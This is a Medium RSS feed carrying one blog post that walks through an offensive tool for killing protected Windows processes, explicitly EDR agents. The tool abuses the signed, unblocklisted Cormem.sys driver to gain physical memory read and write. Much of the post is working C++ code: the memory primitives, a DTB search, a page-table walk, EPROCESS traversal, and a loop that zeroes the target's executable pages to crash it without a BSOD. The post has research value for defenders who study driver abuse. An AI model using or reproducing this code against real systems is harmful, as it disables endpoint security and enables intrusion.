<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anis Barreau on Medium]]></title>
        <description><![CDATA[Stories by Anis Barreau on Medium]]></description>
        <link>https://medium.com/@anis.barreau?source=rss-98188a700a80------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Anis Barreau on Medium</title>
            <link>https://medium.com/@anis.barreau?source=rss-98188a700a80------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:35:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anis.barreau/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to kill PPL’s with BYOVD ? | Hollow Purple]]></title>
            <link>https://medium.com/@anis.barreau/how-to-kill-ppls-with-byovd-hollow-purple-86df2f276103?source=rss-98188a700a80------2</link>
            <guid isPermaLink="false">https://medium.com/p/86df2f276103</guid>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[edr]]></category>
            <dc:creator><![CDATA[Anis Barreau]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 08:58:15 GMT</pubDate>
            <atom:updated>2026-03-26T08:58:15.928Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone!👋<br> In this article, I’m going to present my work on how I bypassed Windows protections to kill PPLs (Protected Process Light) using a BYOVD attack.</p><p>Github: <a href="https://github.com/AnisBarreau/Hollow-Purple">https://github.com/AnisBarreau/Hollow-Purple</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FjihTFIG116k%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DjihTFIG116k&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FjihTFIG116k%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fa641b5d4b4150265251a32fd93650f2/href">https://medium.com/media/fa641b5d4b4150265251a32fd93650f2/href</a></iframe><h3><strong>Whoami ?</strong></h3><p>My name is Anis Barreau, a French pentester currently working in the core banking sector. In my spare time, I focus on malware development and Windows kernel research.</p><h3>Hollow : Purple</h3><p><strong>Purple</strong> is the name of the tool I developed.<br> It leverages the <strong>BYOVD (Bring Your Own Vulnerable Driver)</strong> technique and the vulnerable driver <strong>Cormem.sys</strong> to terminate <strong>Protected Process Light (PPL)</strong> processes from <strong>Ring 0 (kernel mode)</strong>.</p><p>In this article, we will explore in detail how I exploited <strong>Cormem.sys</strong> to directly overwrite the code of arbitrary processes in <strong>physical memory</strong> on Windows.</p><h3>Technical Deep Dive</h3><h4><strong>1 Cormem.sys</strong></h4><p>The driver Cormem.sys exposes several IOCTLs, including IOCTL <strong>0x22200C</strong> (<strong>IOCTL_CORMEM_MAP_BUFFER</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*JNlcB1xJetLcI7NBFuqpKw.png" /></figure><p>When the driver receives this IOCTL, it opens a handle to the <strong>\Device\PhysicalMemory</strong> section object and calls the kernel function <strong>ZwMapViewOfSection</strong>. This function takes an arbitrary physical address as input and projects a view of that raw silicon directly into the caller’s virtual address space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*ASBJGOqS1F9TlUn5P-4Ovg.png" /><figcaption>IDA disassembly of the vulnerable ZwMapViewOfSection call in cormem.sys</figcaption></figure><p>Here, the driver prepares the registers and stack parameters for the call cs:ZwMapViewOfSection instruction. Two specific instructions highlight the vulnerability:</p><ol><li><strong>or rdx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle</strong> According to the x64 calling convention, the rdx register holds the second argument for the function, which is the ProcessHandle. By hardcoding -1 (0xFFFFFFFFFFFFFFFF), the driver specifies the pseudo-handle for NtCurrentProcess(). This proves the driver is instructing the kernel to map the physical memory directly into the virtual address space of the unprivileged Ring 3 application that triggered the IOCTL.</li><li><strong>mov [rsp+100h+Win32Protect], 4</strong> The value 4 corresponds to the Windows memory protection constant PAGE_READWRITE. Not only does the driver map the raw RAM, but it explicitly grants the caller full read and write access to it.</li></ol><p><strong>The problem?</strong> The driver executes these Ring 0 mapping functions without performing any privilege checks to verify who is calling the IOCTL. This allows our unprivileged program (running in Ring 3) to arbitrarily read and write any byte of hardware RAM, effectively bypassing the software isolation of PPLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*1-xPJl3TSu2Y8G4i3L3-Cw.png" /><figcaption>Cormem.sys legit signature</figcaption></figure><p><strong><em>Note: This driver is currently NOT on the Microsoft driver blocklist (03/23/2026).</em></strong></p><h4>2 _EPROCESS structure</h4><p>To attack a process, you first need to locate it.<br> In Windows, every running process is represented in kernel memory by a massive, undocumented structure called <strong>_EPROCESS (Executive Process)</strong>.</p><pre>typedef struct _EPROCESS<br>{<br>     KPROCESS Pcb;<br>     EX_PUSH_LOCK ProcessLock;<br>     LARGE_INTEGER CreateTime;<br>     LARGE_INTEGER ExitTime;<br>     EX_RUNDOWN_REF RundownProtect;<br>     PVOID UniqueProcessId;<br>     LIST_ENTRY ActiveProcessLinks;<br>     ULONG QuotaUsage[3];<br>     ULONG QuotaPeak[3];<br>     ULONG CommitCharge;<br>     ULONG PeakVirtualSize;<br>     ULONG VirtualSize;<br>     LIST_ENTRY SessionProcessLinks;<br>     PVOID DebugPort;<br>     union<br>     {<br>          PVOID ExceptionPortData;<br>          ULONG ExceptionPortValue;<br>          ULONG ExceptionPortState: 3;<br>     };<br>     PHANDLE_TABLE ObjectTable;<br>     EX_FAST_REF Token;<br>     ULONG WorkingSetPage;<br>     EX_PUSH_LOCK AddressCreationLock;<br>     PETHREAD RotateInProgress;<br>     PETHREAD ForkInProgress;<br>     ULONG HardwareTrigger;<br>     PMM_AVL_TABLE PhysicalVadRoot;<br>     PVOID CloneRoot;<br>     ULONG NumberOfPrivatePages;<br>     ULONG NumberOfLockedPages;<br>     PVOID Win32Process;<br>     PEJOB Job;<br>     PVOID SectionObject;<br>     PVOID SectionBaseAddress;<br>     _EPROCESS_QUOTA_BLOCK * QuotaBlock;<br>     _PAGEFAULT_HISTORY * WorkingSetWatch;<br>     PVOID Win32WindowStation;<br>     PVOID InheritedFromUniqueProcessId;<br>     PVOID LdtInformation;<br>     PVOID VadFreeHint;<br>     PVOID VdmObjects;<br>     PVOID DeviceMap;<br>     PVOID EtwDataSource;<br>     PVOID FreeTebHint;<br>     union<br>     {<br>          HARDWARE_PTE PageDirectoryPte;<br>          UINT64 Filler;<br>     };<br>     PVOID Session;<br>     UCHAR ImageFileName[16];<br>     LIST_ENTRY JobLinks;<br>     PVOID LockedPagesList;<br>     LIST_ENTRY ThreadListHead;<br>     PVOID SecurityPort;<br>     PVOID PaeTop;<br>     ULONG ActiveThreads;<br>     ULONG ImagePathHash;<br>     ULONG DefaultHardErrorProcessing;<br>     LONG LastThreadExitStatus;<br>     PPEB Peb;<br>     EX_FAST_REF PrefetchTrace;<br>     LARGE_INTEGER ReadOperationCount;<br>     LARGE_INTEGER WriteOperationCount;<br>     LARGE_INTEGER OtherOperationCount;<br>     LARGE_INTEGER ReadTransferCount;<br>     LARGE_INTEGER WriteTransferCount;<br>     LARGE_INTEGER OtherTransferCount;<br>     ULONG CommitChargeLimit;<br>     ULONG CommitChargePeak;<br>     PVOID AweInfo;<br>     SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo;<br>     MMSUPPORT Vm;<br>     LIST_ENTRY MmProcessLinks;<br>     ULONG ModifiedPageCount;<br>     ULONG Flags2;<br>     ULONG JobNotReallyActive: 1;<br>     ULONG AccountingFolded: 1;<br>     ULONG NewProcessReported: 1;<br>     ULONG ExitProcessReported: 1;<br>     ULONG ReportCommitChanges: 1;<br>     ULONG LastReportMemory: 1;<br>     ULONG ReportPhysicalPageChanges: 1;<br>     ULONG HandleTableRundown: 1;<br>     ULONG NeedsHandleRundown: 1;<br>     ULONG RefTraceEnabled: 1;<br>     ULONG NumaAware: 1;<br>     ULONG ProtectedProcess: 1;<br>     ULONG DefaultPagePriority: 3;<br>     ULONG PrimaryTokenFrozen: 1;<br>     ULONG ProcessVerifierTarget: 1;<br>     ULONG StackRandomizationDisabled: 1;<br>     ULONG Flags;<br>     ULONG CreateReported: 1;<br>     ULONG NoDebugInherit: 1;<br>     ULONG ProcessExiting: 1;<br>     ULONG ProcessDelete: 1;<br>     ULONG Wow64SplitPages: 1;<br>     ULONG VmDeleted: 1;<br>     ULONG OutswapEnabled: 1;<br>     ULONG Outswapped: 1;<br>     ULONG ForkFailed: 1;<br>     ULONG Wow64VaSpace4Gb: 1;<br>     ULONG AddressSpaceInitialized: 2;<br>     ULONG SetTimerResolution: 1;<br>     ULONG BreakOnTermination: 1;<br>     ULONG DeprioritizeViews: 1;<br>     ULONG WriteWatch: 1;<br>     ULONG ProcessInSession: 1;<br>     ULONG OverrideAddressSpace: 1;<br>     ULONG HasAddressSpace: 1;<br>     ULONG LaunchPrefetched: 1;<br>     ULONG InjectInpageErrors: 1;<br>     ULONG VmTopDown: 1;<br>     ULONG ImageNotifyDone: 1;<br>     ULONG PdeUpdateNeeded: 1;<br>     ULONG VdmAllowed: 1;<br>     ULONG SmapAllowed: 1;<br>     ULONG ProcessInserted: 1;<br>     ULONG DefaultIoPriority: 3;<br>     ULONG SparePsFlags1: 2;<br>     LONG ExitStatus;<br>     WORD Spare7;<br>     union<br>     {<br>          struct<br>          {<br>               UCHAR SubSystemMinorVersion;<br>               UCHAR SubSystemMajorVersion;<br>          };<br>          WORD SubSystemVersion;<br>     };<br>     UCHAR PriorityClass;<br>     MM_AVL_TABLE VadRoot;<br>     ULONG Cookie;<br>     ALPC_PROCESS_CONTEXT AlpcContext;<br>} EPROCESS, *PEPROCESS;</pre><p><strong>_EPROCESS</strong> contains everything that defines a process. The fields relevant to us are:</p><ul><li><strong>UniqueProcessId (PID):</strong> The process identifier.</li><li><strong>DirectoryTableBase (DTB):</strong> The physical address of the process’s page table (the CR3 register).</li><li><strong>ActiveProcessLinks:</strong> A LIST_ENTRY structure (a doubly linked list). All Windows processes are linked together through this field. Once we locate one <strong>_EPROCESS</strong>, we can find all others.</li><li><strong>Peb (Process Environment Block):</strong> A pointer to a user-space structure containing critical data, including <strong>ImageBaseAddress</strong> (the address where the executable is loaded in RAM).</li></ul><p>To traverse the ActiveProcessLinks doubly linked list, we need a guaranteed starting point. The &quot;System&quot; process (always assigned PID 4) is the perfect candidate because it is the first true process created by the Windows kernel during boot and is never terminated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*utLNH1Jh36YEMXj4VeTg6A.png" /><figcaption>System process</figcaption></figure><p>Historically, attackers relied on User-Mode (Ring 3) APIs such as NtQuerySystemInformation (using the SystemExtendedHandleInformation class) to query the OS for a list of running processes and extract the kernel virtual address of the System _EPROCESS.</p><p>But modern EDR heavily monitor and hook these Ring 3 APIs within ntdll.dll .If an EDR detects a suspicious process enumerating system handles, it will alter the returned data buffer.</p><p>To become truly stealthy, we must stop asking the OS for information and instead read the raw physical silicon using our driver.</p><p>The Windows kernel (ntoskrnl.exe) exports a global, immutable variable named PsInitialSystemProcess. This variable holds the absolute kernel virtual address of the System process&#39;s _EPROCESS block. Since it is an internal kernel variable heavily used by the OS itself, EDRs cannot hook or hide it without crashing the system.</p><p>To dynamically resolve this without triggering API hooks, we implemented the following methodology:</p><ol><li><strong>Kernel Base Resolution:</strong> We use EnumDeviceDrivers to find the live base address of ntoskrnl.exe in Ring 0.</li><li><strong>Local Offset Calculation:</strong> We load a inactive copy of ntoskrnl.exe into our own Ring 3 memory space using LoadLibraryExA. We find the exported PsInitialSystemProcess symbol in our local copy and calculate its exact byte offset from the base of the executable.</li><li><strong>Physical Extraction:</strong> We add this offset to the live kernel base address to get the active virtual address. Finally, using our BYOVD primitive (cormem.sys), we translate this virtual address via the System CR3 (DTB) and read the pointer directly from physical RAM.</li></ol><h4>3 Physical Memory Primitives</h4><p>To execute this physical extraction, we rely on the core functions of our Purple class. The Initialize() function opens a handle to the vulnerable driver. By leveraging the MapBuffer() function—which sends the IOCTL_CORMEM_MAP_BUFFER control code—we force the kernel to map any raw physical address into our Ring 3 application&#39;s memory space.</p><pre>bool Purple::Initialize() {<br>    if (IsValid()) return true;<br>    m_Device = CreateFileA(CORMEM_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, nullptr,<br>        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, nullptr);<br>    if (!IsValid()) return false;<br>    if (!GetPoolBlockCount(&amp;m_PoolBlockCount) || m_PoolBlockCount &gt; CORMEM_MAX_POOL_BLOCKS) { Close(); return false; }<br>    for (uint32_t i = 0; i &lt; m_PoolBlockCount; i++) { if (!MapPoolBlock(i)) { Close(); return false; } }<br>    return true;<br>}<br><br>bool Purple::MapPoolBlock(uint32_t Index) {<br>    uint32_t input = Index;<br>    CORMEM_MAP_POOL_OUT output = {};<br>    DWORD br = 0;<br>    if (!SendIoctl(IOCTL_CORMEM_MAP_POOL, &amp;input, sizeof(input), &amp;output, sizeof(output), &amp;br) || br == 0) return false;<br>    m_PoolBlocks[Index] = { output.UserAddress, output.KernelAddress, output.PhysicalAddress, output.Size };<br>    return true;<br>}</pre><p>Our custom ReadPhysicalMemory() and WritePhysicalMemory() functions utilize this temporary mapping to perform standard memcpy operations directly on the silicon.</p><pre>bool Purple::ReadPhysicalMemory(uint64_t PhysicalAddress, void* Buffer, size_t Size) {<br>    uint64_t mapped = MapBuffer(PhysicalAddress, Size, 0);<br>    if (!mapped) return false;<br><br>    memcpy(Buffer, reinterpret_cast&lt;void*&gt;(mapped), Size);<br><br>    UnmapBuffer(mapped);<br>    return true;<br>}<br><br>bool Purple::WritePhysicalMemory(uint64_t PhysicalAddress, const void* Buffer, size_t Size) {<br>    uint64_t mapped = MapBuffer(PhysicalAddress, Size, 0);<br>    if (!mapped) return false;<br><br>    memcpy(reinterpret_cast&lt;void*&gt;(mapped), Buffer, Size);<br><br>    UnmapBuffer(mapped);<br>    return true;<br>}</pre><p>However, PsInitialSystemProcess gives us a Virtual Address (VA). To read it physically, we need the master key of the OS&#39;s memory: the System Directory Table Base (DTB), which is loaded into the CR3 register.</p><p>During the boot process, Windows (Winload.efi) initializes low-level structures in the first Megabyte of physical RAM (the LowStub). Our FindSystemDTB() function iterates through this physical region page by page. It calls TryFindDTBFromLowStub() to pattern-match the &quot;Processor Startup Block&quot; (PSB) using its magic signature (0x00000001000600E9ULL). At offset 0xA0 of this undocumented structure lies the physical address of the kernel&#39;s PML4 root page table.</p><pre>uint64_t Purple::FindSystemDTB() {<br>    uint8_t* lowStub = new uint8_t[0x100000];<br>    if (!lowStub) return 0;<br>    for (uint32_t offset = 0; offset &lt; 0x100000; offset += 0x1000) {<br>        if (!ReadPhysicalMemory(offset, lowStub + offset, 0x1000))<br>            memset(lowStub + offset, 0, 0x1000);<br>    }<br>    uint64_t dtb = 0, kernelEntry = 0;<br>    if (TryFindDTBFromLowStub(lowStub, dtb, kernelEntry)) {<br>        delete[] lowStub;<br>        if (ValidatePML4Page(dtb, 0x8000000000ULL)) {<br>            printf(&quot;dtb: 0x%llX\n&quot;, (unsigned long long)dtb);<br>            m_SystemDTB = dtb;<br>            return dtb;<br>        }<br>    } else {<br>        delete[] lowStub;<br>    }<br>    return 0;<br>}<br><br>bool Purple::TryFindDTBFromLowStub(uint8_t* LowStub1M, uint64_t&amp; OutDTB, uint64_t&amp; OutKernelEntry) {<br>    for (uint32_t offset = 0x1000; offset &lt; 0x100000; offset += 0x1000) {<br>        uint64_t sig = *reinterpret_cast&lt;uint64_t*&gt;(LowStub1M + offset);<br>        if ((sig &amp; PSB_SIGNATURE_MASK) != PSB_SIGNATURE_VALUE) continue;<br>        uint64_t kernelEntry = *reinterpret_cast&lt;uint64_t*&gt;(LowStub1M + offset + PSB_KERNEL_ENTRY_OFFSET);<br>        if ((kernelEntry &amp; KERNEL_VA_MASK) != KERNEL_VA_EXPECTED) continue;<br>        uint64_t pml4 = *reinterpret_cast&lt;uint64_t*&gt;(LowStub1M + offset + PSB_PML4_OFFSET);<br>        if (pml4 &amp; PML4_INVALID_BITS_MASK) continue;<br>        if (pml4 == 0 || pml4 &gt; 0x100000000ULL) continue;<br><br>        OutDTB = pml4;<br>        OutKernelEntry = kernelEntry;<br>        return true;<br>    }<br>    return false;<br>}</pre><p><strong>We now have the System CR3.</strong></p><h4>4 The Software MMU (Page Table Walk)</h4><p>Armed with the System CR3, we must replicate the CPU’s Memory Management Unit (MMU) in software to translate virtual addresses into physical ones.</p><p>Our TranslateVirtualAddress() function performs this 4-level Page Table Walk. A 64-bit virtual address is split into indexes using bitwise shifts (PML4 &gt;&gt; 39, PDPT &gt;&gt; 30, PD &gt;&gt; 21, PT &gt;&gt; 12). The function uses ReadPhysicalMemory() to sequentially read each translation table. If the PAGE_PRESENT bit is set at each level, it calculates the final physical address by adding the Page Frame Number (PFN) to the 12-bit page offset. Using this function, the virtual address of PsInitialSystemProcess is successfully translated, revealing the physical address of the System _EPROCESS.</p><pre>uint64_t Purple::TranslateVirtualAddress(uint64_t DTB, uint64_t VirtualAddress) {<br>    uint64_t pml4Idx = (VirtualAddress &gt;&gt; 39) &amp; 0x1FF;<br>    uint64_t pdptIdx = (VirtualAddress &gt;&gt; 30) &amp; 0x1FF;<br>    uint64_t pdIdx = (VirtualAddress &gt;&gt; 21) &amp; 0x1FF;<br>    uint64_t ptIdx = (VirtualAddress &gt;&gt; 12) &amp; 0x1FF;<br>    uint64_t offset = VirtualAddress &amp; 0xFFF;<br><br>    uint64_t pml4e = 0;<br>    if (!ReadPhysicalMemory((DTB &amp; ~0xFFFULL) + pml4Idx * 8, &amp;pml4e, 8) || !(pml4e &amp; PAGE_PRESENT)) return 0;<br><br>    uint64_t pdpte = 0;<br>    if (!ReadPhysicalMemory((pml4e &amp; 0x000FFFFFFFFFF000ULL) + pdptIdx * 8, &amp;pdpte, 8) || !(pdpte &amp; PAGE_PRESENT)) return 0;<br>    if (pdpte &amp; PAGE_LARGE) return (pdpte &amp; 0x000FFFFFC0000000ULL) + (VirtualAddress &amp; (PAGE_1GB - 1));<br><br>    uint64_t pde = 0;<br>    if (!ReadPhysicalMemory((pdpte &amp; 0x000FFFFFFFFFF000ULL) + pdIdx * 8, &amp;pde, 8) || !(pde &amp; PAGE_PRESENT)) return 0;<br>    if (pde &amp; PAGE_LARGE) return (pde &amp; 0x000FFFFFFFE00000ULL) + (VirtualAddress &amp; (PAGE_2MB - 1));<br><br>    uint64_t pte = 0;<br>    if (!ReadPhysicalMemory((pde &amp; 0x000FFFFFFFFFF000ULL) + ptIdx * 8, &amp;pte, 8) || !(pte &amp; PAGE_PRESENT)) return 0;<br><br>    return (pte &amp; 0x000FFFFFFFFFF000ULL) + offset;<br>}</pre><h4>5 The Offset Calculator</h4><p>Once the System _EPROCESS is found, we must traverse the ActiveProcessLinks to find our PPL target.</p><p>To make the tool resilient against Windows updates, we implement a dynamic memory scanner inside FindProcessDTB().</p><p>Since the System process always has PID 4, we use our physical memory primitive to read the first 4KB of its _EPROCESS structure into a local buffer.</p><p>The buffer is then scanned in 8-byte increments, searching for the value 4. Once found, we perform an additional structural validation by checking that the adjacent pointer matches the expected kernel address range, ensuring it corresponds to ActiveProcessLinks.</p><p>Once found, it dynamically deduces the required offsets:</p><ul><li>off_Pid becomes the exact index where 4 was found.</li><li>off_Links is structurally guaranteed to be exactly 8 bytes after the PID. It validates this by checking if the pointer resembles a valid kernel address (0xFFFF...).</li><li>off_Peb is set using a consistent relative offset (+ 0x110).</li></ul><pre> uint8_t eprocBuffer[0x1000] = { 0 };<br> ReadPhysicalMemory(systemEprocessPhys, eprocBuffer, sizeof(eprocBuffer));<br><br> uint32_t off_Pid = 0, off_Links = 0, off_Peb = 0;<br><br> //  SCAN  RAM de l&#39;EPROCESS PID 4<br> for (uint32_t i = 0x80; i &lt; 0x800; i += 8) {<br>     uint64_t val = *(uint64_t*)(eprocBuffer + i);<br><br>     if (val == 4) { <br>         uint64_t flink = *(uint64_t*)(eprocBuffer + i + 8); // ActiveProcessLinks  +8 octets après<br><br>         // Verif  liste pointe  vers le noyau <br>         if ((flink &amp; 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) {<br>             off_Pid = i;<br>             off_Links = i + 8;<br>             off_Peb = i + 0x110; // PEB  0x110<br>             break;<br>         }<br>     }<br> }</pre><h4>6 List Traversal and Target Extraction</h4><p>With the dynamically generated offsets, the second half of FindProcessDTB() begins its hunt.</p><p>It traverses the ActiveProcessLinks chain, subtracting off_Links from each pointer to find the base of the next _EPROCESS, translating it via TranslateVirtualAddress(), and checking the PID at off_Pid.</p><pre>uint64_t listHeadVA = systemEprocessVA + off_Links;<br>uint64_t firstFlink = 0;<br>uint64_t listHeadPhys = TranslateVirtualAddress(m_SystemDTB, listHeadVA);<br>if (!listHeadPhys) return 0;<br>ReadPhysicalMemory(listHeadPhys, &amp;firstFlink, sizeof(firstFlink));<br><br>uint64_t currentFlink = firstFlink;<br>uint32_t count = 0;<br><br>do {<br>    uint64_t eprocessVA = currentFlink - off_Links;<br>    uint64_t eprocessPhys = TranslateVirtualAddress(m_SystemDTB, eprocessVA);</pre><p>When it matches the target PID , it extracts two critical pieces of data:</p><p><strong>The Target CR3:</strong> Read from the constant offset 0x28. This is the private memory map of the process.</p><pre>uint64_t currentPid = 0;<br>ReadPhysicalMemory(eprocessPhys + off_Pid, &amp;currentPid, sizeof(currentPid));<br><br>if (currentPid == (uint64_t)Pid) {<br>    uint64_t processDTB = 0;<br>    ReadPhysicalMemory(eprocessPhys + 0x28, &amp;processDTB, sizeof(processDTB)); // Le CR3 = 0x28</pre><p><strong>The ImageBaseAddress:</strong> To destroy the process, we need to know where its code is loaded. This is stored in the Process Environment Block (PEB) in User-Space. The function translates the PEB virtual address using the <strong>Target’s CR3</strong> (not the System CR3 xd), and reads offset 0x10 to extract the BaseAddress.</p><pre> uint64_t pebVA = 0;<br> ReadPhysicalMemory(eprocessPhys + off_Peb, &amp;pebVA, sizeof(pebVA));<br> if (pebVA &amp;&amp; processDTB) {<br>     uint64_t pebPhys = TranslateVirtualAddress(processDTB, pebVA);<br>     if (pebPhys) ReadPhysicalMemory(pebPhys + 0x10, &amp;OutBaseAddress, sizeof(OutBaseAddress));<br> }</pre><h4>7 Bypassing HVCI with the “Hollow Purple”</h4><p>The final phase, orchestrated in main(), is the neutralization of the protected process.</p><p>We could overwrite the target’s PML4 table (i.e., its CR3), but this is not a viable approach. On Windows 11 systems with Virtualization-Based Security (VBS) and Hypervisor-Enforced Code Integrity (HVCI) enabled, the hypervisor leverages Second Level Address Translation (SLAT) to protect critical paging structures. As a result, attempting to write directly to an active PML4 from physical memory will trigger a hypervisor fault, leading to an immediate BSOD (ATTEMPTED_WRITE_TO_READONLY_MEMORY).</p><p>To bypass HVCI, we shift the attack to the application layer. We implemented a custom WriteProcessMemory() function. Instead of touching Ring 0 structures, it translates the target&#39;s User-Space virtual address page by page (4096 bytes) using the target&#39;s CR3. If the physical page is mapped, it calls WritePhysicalMemory() to overwrite the raw silicon with zeroes.</p><pre>bool Purple::WriteProcessMemory(uint64_t DTB, uint64_t VirtualAddress, const void* Buffer, size_t Size) {<br>    const uint8_t* src = static_cast&lt;const uint8_t*&gt;(Buffer);<br>    size_t remaining = Size;<br>    uint64_t va = VirtualAddress;<br>    while (remaining &gt; 0) {<br>        uint64_t phys = TranslateVirtualAddress(DTB, va);<br>        if (phys == 0) return false;<br>        size_t chunk = min(remaining, (size_t)(PAGE_4KB - (va &amp; 0xFFF)));<br>        if (!WritePhysicalMemory(phys, src, chunk)) return false;<br>        src += chunk; va += chunk; remaining -= chunk;<br>    }<br>    return true;<br>}</pre><p>In main(), a loop executes this strategy over 2500 consecutive pages, effectively wiping the first 10 Megabytes of the process .text (executable code) section.</p><pre>uint8_t nuclearZeros[4096] = { 0 };<br>int successCount = 0;<br><br>for (int i = 0; i &lt; 2500; i++) {  //Boucle 2500 pages<br>    if (drv.WriteProcessMemory(targetDTB, baseAddress + (i * 4096), nuclearZeros, sizeof(nuclearZeros))) {<br>        successCount++;<br>    }<br>}</pre><p>The Windows Memory Manager detects no corruption because no Ring 0 tables were harmed. However, the moment an EDR thread (In case of wipping a EDR), wakes up and the Instruction Pointer (RIP) attempts to execute the next instruction, it reads 0x00.</p><p>The CPU throws a hardware exception, resulting in a Ring 3 STATUS_ACCESS_VIOLATION (0xC0000005). The OS instantly terminates the PPL process without BSOD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*pp0Th7mH0Idq7u4pdwJQ3g.png" /><figcaption>No crash no bsod.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86df2f276103" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>